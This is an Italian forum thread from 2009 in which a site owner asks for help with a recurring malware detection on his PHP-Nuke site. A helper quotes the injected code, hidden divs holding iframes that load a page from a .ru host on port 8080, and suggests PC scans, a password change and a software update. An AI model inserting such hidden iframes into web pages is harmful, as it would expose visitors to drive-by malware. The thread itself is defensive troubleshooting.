LinkBack URL
About LinkBacksho cancellato e riscaricato tutto su mbnet.altervista.org..
Ma quando mi collego avast mi rileva un malware, ma dove cavolo si è posizionato sto virus maledetto che ho cancellato tutto???
JS:Pdfka-PL [Expl]
Visualizzazione risultati 1 fino 9 di 9
Discussione: aiuto malware sul sito
-
06-10-2009, 12.59.06 #1Guest
aiuto malware sul sito
-
06-10-2009, 14.00.12 #2
Salvatore Noschese
- Data registrazione
- 18-04-2007
- Residenza
- Reggiolo (RE)
- Messaggi
- 6,558
Controllando il sorgente ho trovato, in cima a tutto il resto, questo codice:
Probabilmente si nasconde nei file del template stessoCodice PHP:<div style="display:none">wcyniaoszijylsungmonbczpxnyewdw</div>
<div style="display:none">qmlwvrdugrmjmtsbksuuwlajgvrrvwp<iframe width=521 height=610 src="http://beo-free.ru:8080/index.php" ></iframe></div>
-
06-10-2009, 20.17.46 #3Guest
quindi devo cancellare quei codici li ma nel template??
-
06-10-2009, 20.24.37 #4
Salvatore Noschese
- Data registrazione
- 18-04-2007
- Residenza
- Reggiolo (RE)
- Messaggi
- 6,558
Devi sicuramente eliminare quel codice e, suppongo, si trovi nei file del template
Originalmente inviato da mbnet
-
07-10-2009, 13.02.34 #5Guest
Quel codice si trova in tutti i file index.htm e index.php
Ma mi spiegate come cavolo ha fatto ad andarci?
In più tra l'altro lo cancello e si ricrea...Codice PHP:<div style="display:none">amyoeqavrdrvvoaqazpfhpfginkfmjv<iframe width=194 height=816 src="http://beofree.ru:8080/index.php" ></iframe></div>
Ultima modifica di darkwolf : 07-10-2009 alle ore 13.12.46 Motivo: Urlare (scrivere in maiuscolo) non serve a niente.
-
07-10-2009, 13.11.09 #6
Salvatore Noschese
- Data registrazione
- 18-04-2007
- Residenza
- Reggiolo (RE)
- Messaggi
- 6,558
Fa una scansione completa con antivirus e antispyware sul tuo pc e cambia la password del sito
-
07-10-2009, 20.54.46 #7Guest
allora si sono rigenerati un'altra volta, ho cancellato tutto ancora...
domani formatto il pc e riprovo, questa non mi è mai successa....
-
07-10-2009, 21.01.41 #8
Salvatore Noschese
- Data registrazione
- 18-04-2007
- Residenza
- Reggiolo (RE)
- Messaggi
- 6,558
... Originalmente inviato da mbnet
Io personalmente sono contro la formattazione (se non per casi impossibili).
Io andrei con: avira; spybot e combofix.
Dopo questi tre il tuo pc sarà inevitabilmente "pulito".
Nel caso si generasse ancora allora si dovrebbe rivedere lo script usato (nel tuo caso: PHP-Nuke Copyright © 2005) magari è quello che è buggato"
-
Adesso c'è disponibile la 8.1: http://phpnuke.org/modules.php?name=ReleaseUltima modifica di darkwolf : 07-10-2009 alle ore 21.03.40
-
14-10-2009, 18.14.26 #9Guest
non c'è niente da fare ho caricato tutto di nuovo da un altro pc, tra l'altro nuovo...
e ora ho dei cavalli di troia nel sito pazzesco...
penso di darci su...
